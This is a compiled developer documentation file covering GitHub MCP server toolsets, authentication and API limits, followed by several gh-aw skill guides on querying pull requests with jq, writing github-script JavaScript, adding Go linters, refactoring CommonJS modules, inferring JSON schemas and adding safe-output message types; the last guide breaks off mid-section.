The GitHub MCP server organizes tools into logical toolsets. You can enable specific toolsets, use `[default]` for the recommended defaults, or use `[all]` to enable everything.

:::note[Why Use Toolsets?]
The `allowed:` pattern for listing individual GitHub tools is **not recommended for new workflows**. Individual tool names may change between GitHub MCP server versions, but toolsets provide a stable API. Always use `toolsets:` instead. See [Migration from Allowed to Toolsets](#migration-from-allowed-to-toolsets) for guidance on updating existing workflows.
:::

:::tip[Best Practice]
**Always use `toolsets:` for GitHub tools.** Toolsets provide:
- **Stability**: Tool names may change between MCP server versions, but toolsets remain stable
- **Better organization**: Clear groupings of related functionality
- **Complete functionality**: Get all related tools automatically
- **Reduced verbosity**: Cleaner configuration
- **Future-proof**: New tools are automatically included as they're added
:::

### Recommended Default Toolsets

The following toolsets are enabled by default when `toolsets:` is not specified:
- `context` - User and environment context (strongly recommended)
- `repos` - Repository management
- `issues` - Issue management  
- `pull_requests` - Pull request operations

**Note**: The `users` toolset is not included by default and must be explicitly specified if needed.

### All Available Toolsets

| Toolset | Description | Common Tools |
|---------|-------------|--------------|
| `context` | User and environment context | `get_teams`, `get_team_members` |
| `repos` | Repository management | `get_repository`, `get_file_contents`, `search_code`, `list_commits` |
| `issues` | Issue management | `issue_read`, `list_issues`, `create_issue`, `search_issues` |
| `pull_requests` | Pull request operations | `pull_request_read`, `list_pull_requests`, `create_pull_request` |
| `actions` | GitHub Actions/CI/CD | `list_workflows`, `list_workflow_runs`, `download_workflow_run_artifact` |
| `code_security` | Code scanning and security | `list_code_scanning_alerts` ⚠️ (always include `state: open` and `severity: critical,high`), `get_code_scanning_alert` |
| `dependabot` | Dependency management | Dependabot alerts and updates |
| `discussions` | GitHub Discussions | `list_discussions`, `create_discussion` |
| `experiments` | Experimental features | Unstable/preview APIs |
| `gists` | Gist operations | `create_gist`, `list_gists` |
| `labels` | Label management | `get_label`, `list_labels`, `create_label` |
| `notifications` | Notifications | `list_notifications`, `mark_notifications_read` |
| `orgs` | Organization management | `get_organization`, `list_organizations` |
| `projects` | GitHub Projects | Project board operations |
| `secret_protection` | Secret scanning | Secret detection and management |
| `security_advisories` | Security advisories | Advisory creation and management |
| `stargazers` | Repository stars | Star-related operations |
| `users` | User profiles | `get_me` ⚠️ (see note below), `get_user`, `list_users` |
| `search` | Advanced search | Search across repos, code, users |

:::caution[`get_me` returns 403 under the integration token]
`get_me` is **not recommended** in agentic workflows. It returns HTTP 403 when called under the GitHub Actions integration token (which is the default in all gh-aw runs). Do **not** call `get_me` to determine the agent's identity.

**Canonical identity source**: The `<github-context>` block is injected at the start of every workflow prompt and contains `actor`, `repository`, `run_id`, and other context values. Always read identity from there.
:::

## Available Tools by Toolset

This section maps individual tools to their respective toolsets to help with migration from `allowed:` to `toolsets:`.

### Context Toolset
- `get_teams` - List teams the user belongs to
- `get_team_members` - List members of a specific team

### Repos Toolset
- `get_repository` - Get repository information
- `get_file_contents` - Read file contents from repository
- `search_code` - Search code across repositories
- `list_commits` - List commits in a repository
- `get_commit` - Get details of a specific commit
- `get_latest_release` - Get the latest release
- `list_releases` - List all releases

### Issues Toolset
- `issue_read` - Read issue details
- `list_issues` - List issues in a repository
- `create_issue` - Create a new issue
- `update_issue` - Update an existing issue
- `search_issues` - Search issues across repositories
- `add_reaction` - Add reaction to an issue or comment
- `create_issue_comment` - Add a comment to an issue

### Pull Requests Toolset
- `pull_request_read` - Read pull request details
- `list_pull_requests` - List pull requests in a repository
- `get_pull_request` - Get details of a specific pull request
- `create_pull_request` - Create a new pull request
- `search_pull_requests` - Search pull requests across repositories

When invoking `list_pull_requests` from workflow prompts/templates:
- Default to a small page size (`perPage: 10` unless a smaller/larger value is justified).
- On GitHub MCP server ≥ 1.6.0 with the `fields_param` feature (enabled automatically in Insiders mode), pass `fields: [number, title, state, html_url]` (or whichever top-level fields you need) to reduce response size. The same `fields` parameter is available on `list_issues`, `search_issues`, `search_pull_requests`, `list_commits`, `list_releases`, and `search_code`. For `get_file_contents`, `fields` only reduces directory listings; use `fields: [name, type, size, path]` to check file metadata before deciding whether to read a file.
- Before using `get_file_contents` on a file, list its parent directory with `fields: [name, type, size, path]`. If the file is large or you only need a header/section, use a bounded excerpt such as a raw file URL with an HTTP range or another available ranged-read tool instead of fetching the whole file.
- On older servers, request `minimal_output: true` when the installed MCP server exposes that input (minimal output trims non-essential nested fields such as large `head`/`base` payloads).
- Confirm parameter support in the method schema from `mcp list-tools` or the tool docs for your server version.

### Actions Toolset
- `list_workflows` - List GitHub Actions workflows
- `list_workflow_runs` - List workflow runs
- `get_workflow_run` - Get details of a specific workflow run
- `download_workflow_run_artifact` - Download workflow artifacts

### Code Security Toolset
- `list_code_scanning_alerts` - List code scanning alerts
- `get_code_scanning_alert` - Get details of a specific alert
- `create_code_scanning_alert` - Create a code scanning alert

When invoking `list_code_scanning_alerts` from workflow prompts/templates, always include `state: open` and `severity: critical,high` to bound the response size and avoid oversized payloads.

### Discussions Toolset
- `list_discussions` - List discussions in a repository
- `create_discussion` - Create a new discussion

### Labels Toolset
- `get_label` - Get label details
- `list_labels` - List labels in a repository
- `create_label` - Create a new label

### Users Toolset
- `get_me` - ⚠️ **Not recommended** — returns HTTP 403 under the integration token. Use the `<github-context>` block (provided at the start of every prompt) to read your identity: `actor`, `repository`, `run_id`, etc.
- `get_user` - Get user profile information
- `list_users` - List users

### Notifications Toolset
- `list_notifications` - List user notifications
- `mark_notifications_read` - Mark notifications as read

### Organizations Toolset
- `get_organization` - Get organization details
- `list_organizations` - List organizations

### Gists Toolset
- `create_gist` - Create a new gist
- `list_gists` - List user's gists

## Authentication Details

### Remote Mode Authentication

The remote mode uses Bearer token authentication:

**Headers**:
- `Authorization: Bearer <token>` - Required for authentication
- `X-MCP-Readonly: true` - Optional, enables read-only mode

**Token Source**:
- Default: `${{ secrets.GH_AW_GITHUB_TOKEN }}` or `${{ secrets.GITHUB_TOKEN }}`
- Custom: Configure via `github-token` field

### Local Mode Authentication

The local mode uses environment variables:

**Environment Variables**:
- `GITHUB_PERSONAL_ACCESS_TOKEN` - Required for authentication
- `GITHUB_READ_ONLY=1` - Optional, enables read-only mode
- `GITHUB_TOOLSETS=<comma-separated-list>` - Optional, specifies enabled toolsets

## Best Practices

### Toolset Selection

1. **Start with defaults**: For most workflows, the recommended default toolsets provide sufficient functionality
2. **Enable specific toolsets**: Only enable additional toolsets when you need their specific functionality
3. **Security consideration**: Be mindful of write operations - consider using read-only mode when possible
4. **Performance**: Using fewer toolsets reduces initialization time and memory usage

### Token Permissions

Ensure your GitHub token has appropriate permissions for the toolsets you're enabling:

- `repos` toolsets: Requires repository read/write permissions
- `issues` toolsets: Requires issues read/write permissions
- `pull_requests` toolsets: Requires pull requests read/write permissions
- `actions` toolsets: Requires actions read/write permissions
- `discussions` toolsets: Requires discussions read/write permissions

### Remote vs Local Mode

**Use Remote Mode when**:
- You want faster initialization (no Docker container to start)
- You're running in a GitHub Actions environment with internet access
- You want to use the latest version without specifying Docker image tags

**Use Local Mode when**:
- You need a specific version of the MCP server
- You want to use custom arguments
- You're running in an environment without internet access
- You want to test with a local build of the MCP server

## Migration from Allowed to Toolsets

If you have existing workflows using the `allowed:` pattern, we recommend migrating to `toolsets:` for better maintainability and stability. Individual tool names may change between MCP server versions, but toolsets provide a stable API that won't break your workflows.

### Migration Examples

**Using `allowed:` (not recommended):**
```yaml
tools:
  github:
    allowed:
      - get_repository
      - get_file_contents
      - list_commits
      - list_issues
      - create_issue
      - update_issue
```

**Using `toolsets:` (recommended):**
```yaml
tools:
  github:
    toolsets: [repos, issues]
```

### Tool-to-Toolset Mapping

Use this table to identify which toolset contains the tools you need:

| `allowed:` Tools | Migrate to `toolsets:` |
|------------------|------------------------|
| `get_me` ⚠️ (not recommended — returns 403; use `<github-context>` instead) | `users` |
| `get_teams`, `get_team_members` | `context` |
| `get_repository`, `get_file_contents`, `search_code`, `list_commits` | `repos` |
| `issue_read`, `list_issues`, `create_issue`, `update_issue`, `search_issues` | `issues` |
| `pull_request_read`, `list_pull_requests`, `create_pull_request` | `pull_requests` |
| `list_workflows`, `list_workflow_runs`, `get_workflow_run` | `actions` |
| `list_code_scanning_alerts` ⚠️ (always include `state: open` and `severity: critical,high`), `get_code_scanning_alert` | `code_security` |
| `list_discussions`, `create_discussion` | `discussions` |
| `get_label`, `list_labels`, `create_label` | `labels` |
| `get_user`, `list_users` | `users` |
| Mixed repos/issues/PRs tools | `[default]` |
| All tools | `[all]` |

### Quick Migration Steps

1. **Identify tools in use**: Review your current `allowed:` list
2. **Map to toolsets**: Use the table above to find corresponding toolsets
3. **Replace configuration**: Change `allowed:` to `toolsets:`
4. **Test**: Run `gh aw mcp inspect <workflow>` to verify tools are available
5. **Compile**: Run `gh aw compile` to update the lock file

## Using Allowed Pattern with Custom MCP Servers

:::note[When to Use Allowed]
The `allowed:` pattern is appropriate for:
- Custom MCP servers (non-GitHub)
- Gradual migration of existing workflows
- Fine-grained restriction of specific tools within a toolset

For GitHub tools, always use `toolsets:` instead of `allowed:`.
:::

The `allowed:` field can still be used to restrict tools for custom MCP servers:

```yaml
mcp-servers:
  notion:
    container: "mcp/notion"
    allowed: ["search_pages", "get_page"]  # Fine for custom MCP servers
```

For GitHub tools, `allowed:` can be combined with `toolsets:` to further restrict access, but this pattern is not recommended for new workflows.

## GitHub API Limitations

Not all GitHub data is accessible through the GitHub MCP server or the GitHub REST API. Be aware of these limitations when designing workflows to avoid silent failures or incomplete results at runtime.

### Billing and Cost Data

**❌ Not available via standard API permissions:**

- **Detailed per-run cost data** — GitHub Actions does not expose per-workflow-run billing costs through the REST API. There is no endpoint to retrieve the exact cost of a specific workflow run.
- **Actions billing summary** — Billing endpoints (e.g., `/orgs/{org}/settings/billing/actions`) require `admin:org` scope, which is **not** granted by `actions:read` or the default `GITHUB_TOKEN`.

**⚠️ When suggesting billing/cost workflows, always note:**

> Detailed GitHub Actions billing and cost data is not accessible through the standard GitHub API with `actions:read` permissions. Workflows that attempt to read per-run cost data or billing summaries will fail silently or return empty results unless an `admin:org`-scoped personal access token is explicitly configured.

**✅ Alternatives for cost reporting:**

1. **GitHub Actions usage reports** — Download usage reports from the GitHub billing UI (Settings → Billing → Usage) or via the billing CSV export endpoint (requires `admin:org` scope with a PAT).
2. **Billing settings UI** — Direct users to `https://github.com/organizations/{org}/settings/billing` or `https://github.com/settings/billing` for personal accounts to view cost data manually.
3. **Workflow run metadata** — Use `list_workflow_runs` and `get_workflow_run` (available via `actions` toolset) to get run duration, status, and timing — but not dollar costs.
4. **Third-party cost tracking** — Integrate with third-party CI cost tools that use pre-authorized API access.

### Cross-Organization Data Access

**❌ Not available without explicit authorization:**

- Workflows can only access data from repositories and organizations that the configured GitHub token has been granted access to.
- Cross-organization repository reads require a PAT or GitHub App token with access to the target org — the default `GITHUB_TOKEN` is scoped to the current repository's organization only.
- Organization membership and team data from *other* organizations is not accessible without explicit `read:org` permissions on those organizations.

### Organization Membership and Private Data

**❌ Requires additional scopes:**

- **Organization member lists** — Reading private organization membership requires `read:org` scope; the default `GITHUB_TOKEN` only exposes public membership.
- **Private repository contents** — Only accessible if the token has explicit repository access.
- **Secret values** — GitHub Secrets are write-only through the API; their values cannot be read back after creation.

### Rate Limits

**⚠️ Be aware of API rate limits:**

- The GitHub REST API enforces rate limits (typically 5,000 requests/hour for authenticated requests with a PAT, lower for `GITHUB_TOKEN`).
- Workflows that perform bulk data collection (e.g., listing all workflow runs across many repositories) may hit rate limits. Design workflows to paginate carefully and avoid unnecessary requests.
- GraphQL API has separate rate limits based on query complexity.

## Troubleshooting

### Common Issues

**Issue**: Tool not found or not available
- **Solution**: Check if you're using `allowed:` to restrict tools. Consider using `toolsets:` instead to get all related tools.
- **Verify**: Run `gh aw mcp inspect <workflow-name>` to see which tools are actually available.

**Issue**: Missing functionality after specifying toolset
- **Cause**: Using a too-narrow toolset that doesn't include all needed tools
- **Solution**: Either add additional toolsets (e.g., `toolsets: [default, actions]`) or use `[all]` for full access

**Issue**: Workflow using `allowed:` list is verbose and hard to maintain
- **Solution**: Migrate to `toolsets:` configuration using the migration guide above

### Best Practices for Debugging

1. **Start with `[default]` toolset**: Most workflows work well with default toolsets
2. **Add specific toolsets as needed**: Incrementally add toolsets like `actions`, `discussions`, etc.
3. **Use `gh aw mcp inspect`**: Verify which tools are actually available
4. **Check tool-to-toolset mapping**: Reference the tables above to find the right toolset

## References

- [GitHub MCP Server Repository](https://github.com/github/github-mcp-server)
- [Model Context Protocol Specification](https://modelcontextprotocol.io/)
- [GitHub Actions Documentation](https://docs.github.com/actions)

<!-- chapter:end slug=github-mcp-server -->

---

<!-- chapter:begin slug=github-pr-query position=16 -->

## 16. github-pr-query

- **Source:** https://github.com/github/gh-aw/blob/main/.github/skills/github-pr-query/SKILL.md
- **Raw:** https://raw.githubusercontent.com/github/gh-aw/main/.github/skills/github-pr-query/SKILL.md
- **Markdown:** https://skillsdocs.com/github/gh-aw/github-pr-query.md
- **Licence:** MIT — https://spdx.org/licenses/MIT.html

Bundled files (1), referenced from this skill's directory:
  - `query-prs.sh` — https://raw.githubusercontent.com/github/gh-aw/main/.github/skills/github-pr-query/query-prs.sh

<!-- Verbatim upstream SKILL.md follows, YAML frontmatter included. -->

---
name: github-pr-query
description: Query GitHub pull requests with jq filtering and reusable selectors.
---

# GitHub Pull Request Query Skill

Query GitHub pull requests efficiently with built-in jq filtering.

## Important: jq Parameter is Optional

The `--jq` parameter is **optional**. Without `--jq`, this skill returns **schema and data size information** instead of full data.
Use this to avoid oversized responses and inspect structure before targeted queries.

Use `--jq '.'` to get all data, or use a more specific filter for targeted results.

## Usage

Use this skill to query pull requests from the current repository or any specified repository.

### Basic Query (Returns Schema Only)

To list pull requests from the current repository:

```bash
./query-prs.sh
# Returns schema and data size, not full data
```

### Get All Data

To get all PR data:

```bash
./query-prs.sh --jq '.'
```

### With Repository

To query a specific repository:

```bash
./query-prs.sh --repo owner/repo
```

### With jq Filtering

Use the `--jq` argument to filter and transform the output:

```bash
# Get only open PRs
./query-prs.sh --jq '.[] | select(.state == "open")'

# Get PR numbers and titles
./query-prs.sh --jq '.[] | {number, title}'

# Get PRs by a specific author
./query-prs.sh --jq '.[] | select(.author.login == "username")'

# Get merged PRs from last week
./query-prs.sh --jq '.[] | select(.mergedAt != null)'

# Count PRs by state
./query-prs.sh --jq 'group_by(.state) | map({state: .[0].state, count: length})'
```

### Common Options

- `--state`: Filter by state (open, closed, merged, all). Default: open
- `--limit`: Maximum number of PRs to fetch. Default: 30
- `--repo`: Repository in owner/repo format. Default: current repo
- `--author`: Filter PRs by author login
- `--app`: Filter PRs by GitHub App author
- `--search`: Apply GitHub issue/PR search syntax
- `--jq`: (Optional) jq expression for filtering/transforming output. If omitted, returns schema info

### Example Queries

**Find large PRs (many changed files):**
```bash
./query-prs.sh --jq '.[] | select(.changedFiles > 10) | {number, title, changedFiles}'
```

**Get PRs awaiting review:**
```bash
./query-prs.sh --jq '.[] | select(.reviewDecision == "REVIEW_REQUIRED") | {number, title, author: .author.login}'
```

**Get PRs authored by GitHub Actions app activity context:**
```bash
./query-prs.sh --app github-actions --jq '.[] | {number, title, author: .author.login}'
```

**Find in-scope review feedback (team/collaborator + trusted automation):**
```bash
# Trusted automation is matched by login; humans are matched by association.
./query-prs.sh --jq \
  '.[] | {number, title, reviews: [.reviews[]? | select(.author.login == "github-actions[bot]" or .author.login == "app/github-copilot" or .authorAssociation == "MEMBER" or .authorAssociation == "OWNER" or .authorAssociation == "COLLABORATOR")] }'
```

**Ignore external review feedback:**
```bash
./query-prs.sh --jq \
  '.[] | {number, title, external_reviews: [.reviews[]? | select(.authorAssociation == "CONTRIBUTOR" or .authorAssociation == "FIRST_TIME_CONTRIBUTOR" or .authorAssociation == "FIRST_TIMER" or .authorAssociation == "NONE")] }'
```

**List PRs with their labels:**
```bash
./query-prs.sh --jq '.[] | {number, title, labels: [.labels[].name]}'
```

## Output Format

The script outputs JSON by default, making it easy to pipe through jq for additional processing.

## Requirements

- GitHub CLI (`gh`) authenticated
- `jq` for filtering (installed by default on most systems)

<!-- chapter:end slug=github-pr-query -->

---

<!-- chapter:begin slug=github-script position=17 -->

## 17. github-script

- **Source:** https://github.com/github/gh-aw/blob/main/.github/skills/github-script/SKILL.md
- **Raw:** https://raw.githubusercontent.com/github/gh-aw/main/.github/skills/github-script/SKILL.md
- **Markdown:** https://skillsdocs.com/github/gh-aw/github-script.md
- **Licence:** MIT — https://spdx.org/licenses/MIT.html

<!-- Verbatim upstream SKILL.md follows, YAML frontmatter included. -->

---
name: github-script
description: Write robust JavaScript for GitHub Actions github-script steps.
---

# GitHub Action Script Best Practices

Use these guidelines for JavaScript executed by `actions/github-script@v8`.

## Important Notes

- This action provides `@actions/core` and `@actions/github` packages globally
- Do not add import or require for `@actions/core` 
- Reference documentation:
  - https://github.com/actions/toolkit/blob/main/packages/core/README.md
  - https://github.com/actions/toolkit/blob/main/packages/github/README.md

## Best Practices

- Use `core.info`, `core.warning`, `core.error` for logging, not `console.log` or `console.error`
- Use `core.setOutput` to set action outputs
- Use `core.exportVariable` to set environment variables for subsequent steps
- Use `core.getInput` to get action inputs, with `required: true` for mandatory inputs
- Use `core.setFailed` to mark the action as failed with an error message

## Step Summary

Use `core.summary.*` function to write output the step summary file.

- Use `core.summary.addRaw()` to add raw Markdown content (GitHub Flavored Markdown supported)
- Make sure to call `core.summary.write()` to flush pending writes
- Summary function calls can be chained, e.g. `core.summary.addRaw(...).addRaw(...).write()`

## Common Errors

- Avoid `any` type as much as possible, use specific types or `unknown` instead
- Catch handler: check if error is an instance of Error before accessing message property

```js
catch (error) {
  core.setFailed(error instanceof Error ? error : String(error));
}
```

- `core.setFailed` also calls `core.error`, so do not call both

## Typechecking

Run `make js` to run the typescript compiler.

Run `make lint-cjs` to lint the files.

Run `make fmt-cjs` after editing to format the file.

<!-- chapter:end slug=github-script -->

---

<!-- chapter:begin slug=go-linters position=18 -->

## 18. go-linters

- **Source:** https://github.com/github/gh-aw/blob/main/.github/skills/go-linters/SKILL.md
- **Raw:** https://raw.githubusercontent.com/github/gh-aw/main/.github/skills/go-linters/SKILL.md
- **Markdown:** https://skillsdocs.com/github/gh-aw/go-linters.md
- **Licence:** MIT — https://spdx.org/licenses/MIT.html

<!-- Verbatim upstream SKILL.md follows, YAML frontmatter included. -->

---
name: go-linters
description: Add and validate custom Go analysis linters in gh-aw.
---

# Go Linters

Use this guide when adding a new custom Go analysis linter in this repository.

For PR-driven linter generation (derive a rule from a specific pull request pattern), use `.github/skills/pr-to-go-linter/SKILL.md`.

## Where to add a new linter

1. Create a new package under `pkg/linters/<linter-name>/`.
2. Define an analyzer in that package (exported as `Analyzer`).
3. Add tests in the same package using `analysistest` with fixtures under `testdata/src/...`.
4. Register the analyzer in `cmd/linters/main.go` so it runs via the multichecker binary.

## Build and test linters

- Test only your linter package:
  - `go test ./pkg/linters/<linter-name>/...`
- Build the custom linter runner:
  - `go build ./cmd/linters`
- Run all custom linters across the repo:
  - `make golint-custom`

`make golint-custom` builds `cmd/linters` and runs it against `./cmd/...` and `./pkg/...`.

## Coverage-aware perf gating

For linters that flag micro-optimizations (allocation/perf rules), only apply them on lines that
tests actually exercise — "hot paths" — rather than on dead or rarely-executed code where the
optimization brings no measurable benefit. Use the shared `pkg/linters/internal/coverage` package:

1. In your analyzer file, register a `-hot-threshold` flag in `init()` (not as a var initializer,
   to avoid an `Analyzer`/`run`/flag initialization cycle):

   ```go
   var hotThreshold *int

   func init() {
       hotThreshold = coverage.RegisterHotThresholdFlag(Analyzer)
   }
   ```

2. Immediately before reporting a diagnostic, gate it with `coverage.ShouldApply`:

   ```go
   if !coverage.ShouldApply(pass, node.Pos(), *hotThreshold) {
       return
   }
   ```

`coverage.ShouldApply` is permissive by default: when no coverage profile is loaded via the
`GH_AW_LINT_COVERAGE_PROFILE` environment variable, or when `hot-threshold` is `0`, it always
returns `true`, preserving pre-coverage-aware behavior. Only wire this into linters whose fix has
a genuine performance rationale (extra allocations, O(n²) behavior, etc.) — purely
readability/style linters should not be coverage-gated.

### Generating the coverage profile

```bash
go test -covermode=count -coverprofile=/tmp/coverage.out ./...
export GH_AW_LINT_COVERAGE_PROFILE=/tmp/coverage.out
make golint-custom
```

This profile is read once per linter-runner process. To lint only a specific subtree, scope
the `go test` and `golint-custom` commands to the same package path.

<!-- chapter:end slug=go-linters -->

---

<!-- chapter:begin slug=javascript-refactoring position=19 -->

## 19. javascript-refactoring

- **Source:** https://github.com/github/gh-aw/blob/main/.github/skills/javascript-refactoring/SKILL.md
- **Raw:** https://raw.githubusercontent.com/github/gh-aw/main/.github/skills/javascript-refactoring/SKILL.md
- **Markdown:** https://skillsdocs.com/github/gh-aw/javascript-refactoring.md
- **Licence:** MIT — https://spdx.org/licenses/MIT.html

<!-- Verbatim upstream SKILL.md follows, YAML frontmatter included. -->

---
name: javascript-refactoring
description: Split large JavaScript files into maintainable modules safely.
---


# JavaScript Code Refactoring Guide

Use this guide to split JavaScript into maintainable CommonJS modules in gh-aw without drifting into dead embedding patterns.

## Overview

The current gh-aw architecture is action-centric:

- Shared JS modules live under `pkg/workflow/js/*.cjs` and `actions/setup/js/*.cjs`
- Action source files live under `actions/<action-name>/src/`
- Generated action bundles are committed under `actions/<action-name>/index.js`
- Shipping is driven by the action build pipeline (`make actions-build`, `gh aw actions-build`) and dependency maps such as `pkg/cli/actions_build_command.go`
- `pkg/workflow/js.go` is a stub; it no longer owns the runtime JavaScript shipping path for the main workflows

If you are refactoring a workflow utility, prefer the current action/module architecture over any older `//go:embed` pattern.

### Top-Level Script Pattern

Top-level `.cjs` scripts executed directly in workflows follow this pattern:

**✅ Correct Pattern - Export main, but don't call it:**
```javascript
async function main() {
  // Script logic here
  core.info("Running the script");
}

module.exports = { main };
```

**❌ Incorrect Pattern - Don't call main in the file:**
```javascript
async function main() {
  // Script logic here
  core.info("Running the script");
}

await main(); // ❌ Don't do this!

module.exports = { main };
```

**Why this pattern?**
- The workflow bundler or action build step can wrap the script with `await main()` at execution time
- The module stays importable for tests while still being executable in GitHub Actions
- It makes unit testing easier and preserves a clean module boundary

## Step 1: Put the code in the right source tree

Choose the correct location for the module before writing code:

- Shared workflow utilities: `pkg/workflow/js/`
- Action-specific JavaScript: `actions/<action-name>/src/` or `actions/setup/js/`
- Generated bundle output: `actions/<action-name>/index.js`

**File naming convention:**
- Use snake_case for filenames (for example `sanitize_content.cjs`, `load_agent_output.cjs`)
- Use `.cjs` for CommonJS modules
- Keep the name aligned with the responsibility of the module

**Example file structure:**
```javascript
// @ts-check
/// <reference types="@actions/github-script" />

/**
 * Brief description of what this module does
 */

/**
 * Function documentation
 * @param {string} input - Description of parameter
 * @returns {string} Description of return value
 */
function myFunction(input) {
  return input;
}

module.exports = {
  myFunction,
};
```

**Key points:**
- Include `// @ts-check` for TypeScript checking
- Include `/// <reference types="@actions/github-script" />` when the module is used with GitHub Actions scripts
- Use JSDoc comments for documentation
- Export functions via `module.exports = { ... }`
- Do not import `@actions/core` or `@actions/github` directly unless the module is running in an action context that explicitly expects it

## Step 2: Add tests next to the module

Create a matching test beside the module using the same base name plus `.test.cjs`:

**Example:** `pkg/workflow/js/my_module.test.cjs`
```javascript
import { describe, it, expect, beforeEach, vi } from "vitest";

const mockCore = {
  debug: vi.fn(),
  info: vi.fn(),
  warning: vi.fn(),
  error: vi.fn(),
  setFailed: vi.fn(),
  setOutput: vi.fn(),
};

global.core = mockCore;

describe("myFunction", () => {
  beforeEach(() => {
    vi.clearAllMocks();
  });

  it("handles a normal input", async () => {
    const { myFunction } = await import("./my_module.cjs");
    expect(myFunction("test input")).toBe("expected output");
  });

  it("handles empty input", async () => {
    const { myFunction } = await import("./my_module.cjs");
    expect(myFunction("")).toBe("");
  });
});
```

**Testing guidelines:**
- Use Vitest for test execution
- Mock `core` and `github` globals as needed
- Use dynamic imports (`await import()`) to allow module setup at test time
- Clear mocks in `beforeEach`
- Cover success, failure, and edge cases

**Run tests:**
```bash
make test-js
```

## Step 3: Wire the module into the actual build path

Do not add a new `//go:embed` mapping just to ship a new runtime script. The current repo ships JavaScript through the action-generation/build pipeline.

Use this checklist:

- Shared utility used by generated actions: update the relevant dependency mapping in `pkg/cli/actions_build_command.go`
- Action-specific source file: add the module under `actions/<action-name>/src/`
- Generated action bundle: rebuild with `make actions-build`
- Shared workflow source for runtime modules: keep it under `pkg/workflow/js/` and update the action or workflow definition that consumes it

**Example design:**
```javascript
const { myFunction } = require("./my_module.cjs");

async function main() {
  const result = myFunction("some input");
  core.info(`Result: ${result}`);
}

module.exports = { main };
```

## Step 4: Validate the refactor

Run the relevant checks for the area you changed:

```bash
make fmt-cjs
make lint-cjs
make test-js
make test-unit
make actions-build
```

## Verification Checklist

Before committing your refactor:

- [ ] New `.cjs` file created in the correct source directory
- [ ] Matching `.test.cjs` file created
- [ ] Tests pass with `make test-js` or the targeted Vitest suite
- [ ] The module is wired through the real action/workflow build path
- [ ] No stale embedding instructions were added for the current action-based JS build flow
- [ ] Local `require()` statements work correctly in other JS files
- [ ] Code formatted with `make fmt-cjs`
- [ ] Relevant validation passes with `make lint-cjs` or `make test-unit`

## Common Patterns

### Pattern 1: Shared Utility Module

Files like `sanitize_content.cjs` or `load_agent_output.cjs` are best kept under `pkg/workflow/js/` or `actions/setup/js/` and consumed by other JS modules via `require()`.

### Pattern 2: Action-specific file

When the JavaScript belongs to a single action, keep it under `actions/<action-name>/src/` and regenerate the output bundle with `make actions-build`.

### Pattern 3: Top-level workflow script

If the script is executed directly in a workflow, export `main` and omit the direct `await main()` call. The host build/runtime step handles execution.

## Troubleshooting

### Issue: changes are not showing up in generated actions

**Cause:** Action bundle was not rebuilt after editing the source file

**Solution:**
```bash
make actions-build
```

### Issue: tests fail with `core is not defined`

**Cause:** Missing global mocks

**Solution:**
```javascript
global.core = mockCore;
```

### Issue: the module is only used in one place

**Cause:** It was added to the wrong layer

**Solution:** Move it to the action-specific source tree instead of creating a broad workflow-level registry entry.

## References

- `actions/README.md` - current action-generation/build workflow
- `pkg/cli/actions_build_command.go` - action dependency mapping
- `pkg/workflow/js/*.cjs` - existing shared module patterns
- `actions/setup/js/*.cjs` - action runtime/source examples

<!-- chapter:end slug=javascript-refactoring -->

---

<!-- chapter:begin slug=jqschema position=20 -->

## 20. jqschema

- **Source:** https://github.com/github/gh-aw/blob/main/.github/skills/jqschema/SKILL.md
- **Raw:** https://raw.githubusercontent.com/github/gh-aw/main/.github/skills/jqschema/SKILL.md
- **Markdown:** https://skillsdocs.com/github/gh-aw/jqschema.md
- **Licence:** MIT — https://spdx.org/licenses/MIT.html

Bundled files (2), referenced from this skill's directory:
  - `jqschema.sh` — https://raw.githubusercontent.com/github/gh-aw/main/.github/skills/jqschema/jqschema.sh
  - `ssl.json` — https://raw.githubusercontent.com/github/gh-aw/main/.github/skills/jqschema/ssl.json

<!-- Verbatim upstream SKILL.md follows, YAML frontmatter included. -->

---
name: jqschema
description: Infer JSON structure and types with jq-based schema discovery.
tools:
  bash:
    - "jq *"
    - "./.github/skills/jqschema/jqschema.sh"
    - "git"
---

## jqschema - JSON Schema Discovery

Use `./.github/skills/jqschema/jqschema.sh` to generate a compact structural schema (keys + types) from JSON input. Pipe any JSON source through it to discover structure before querying full data.

```bash
# Analyze a file or command output
cat data.json | ./.github/skills/jqschema/jqschema.sh
gh api search/repositories?q=language:go | ./.github/skills/jqschema/jqschema.sh
```

The script replaces object values with type names (`"string"`, `"number"`, `"boolean"`, `"null"`), reduces arrays to first-element structure, and outputs compact JSON. Use `perPage: 1` to fetch minimal data when exploring unknown API shapes.

**Example**: `{"total_count":1000,"items":[{"login":"user1","id":123}]}` → `{"total_count":"number","items":[{"login":"string","id":"number"}]}`

<!-- chapter:end slug=jqschema -->

---

<!-- chapter:begin slug=messages position=21 -->

## 21. messages

- **Source:** https://github.com/github/gh-aw/blob/main/.github/skills/messages/SKILL.md
- **Raw:** https://raw.githubusercontent.com/github/gh-aw/main/.github/skills/messages/SKILL.md
- **Markdown:** https://skillsdocs.com/github/gh-aw/messages.md
- **Licence:** MIT — https://spdx.org/licenses/MIT.html

<!-- Verbatim upstream SKILL.md follows, YAML frontmatter included. -->

---
name: messages
description: Add new safe-output message types and wire validation/rendering.
---


# Adding New Message Types Guide

Use this guide to add a new safe-output message type so it works in the current gh-aw pipeline: frontmatter → schema → Go compiler → JavaScript modules → action/workflow build output.

## Overview

The messages system lets workflow authors customize safe-output messages. The current architecture does not rely on the old `pkg/workflow/js.go` embedding registry for runtime shipping.

Current flow:

1. **Frontmatter** (YAML)
2. **JSON Schema**
3. **Go Compiler**
4. **JavaScript module** under `pkg/workflow/js/` or `actions/setup/js/`
5. **Action/workflow bundle generation** via `make actions-build` or the relevant workflow build path

## Step 1: Update JSON Schema

Add the new message field to `pkg/parser/schemas/main_workflow_schema.json` in the `messages` object:

```json
{
	"messages": {
		"properties": {
		  "my-new-message": {
		    "type": "string",
		    "description": "Description of when this message is used. Available placeholders: {placeholder1}, {placeholder2}.",
		    "examples": [
		      "Example message with {placeholder1}"
		    ]
		  }
		}
	}
}
```

**Key points:**
- Use `kebab-case` for the YAML field name (for example `my-new-message`)
- Document placeholders in the description
- Provide helpful examples
- Rebuild the schema-backed binary or run the relevant compile checks after changes

## Step 2: Update Go Struct

Add the field to `SafeOutputMessagesConfig` in `pkg/workflow/compiler.go`:

```go
type SafeOutputMessagesConfig struct {
	// ... existing fields ...
	MyNewMessage string `yaml:"my-new-message,omitempty" json:"myNewMessage,omitempty"`
}
```

**Key points:**
- Use `CamelCase` for Go field names
- Use `kebab-case` for YAML tags
- Use `camelCase` for JSON tags
- Add `omitempty` to both tags

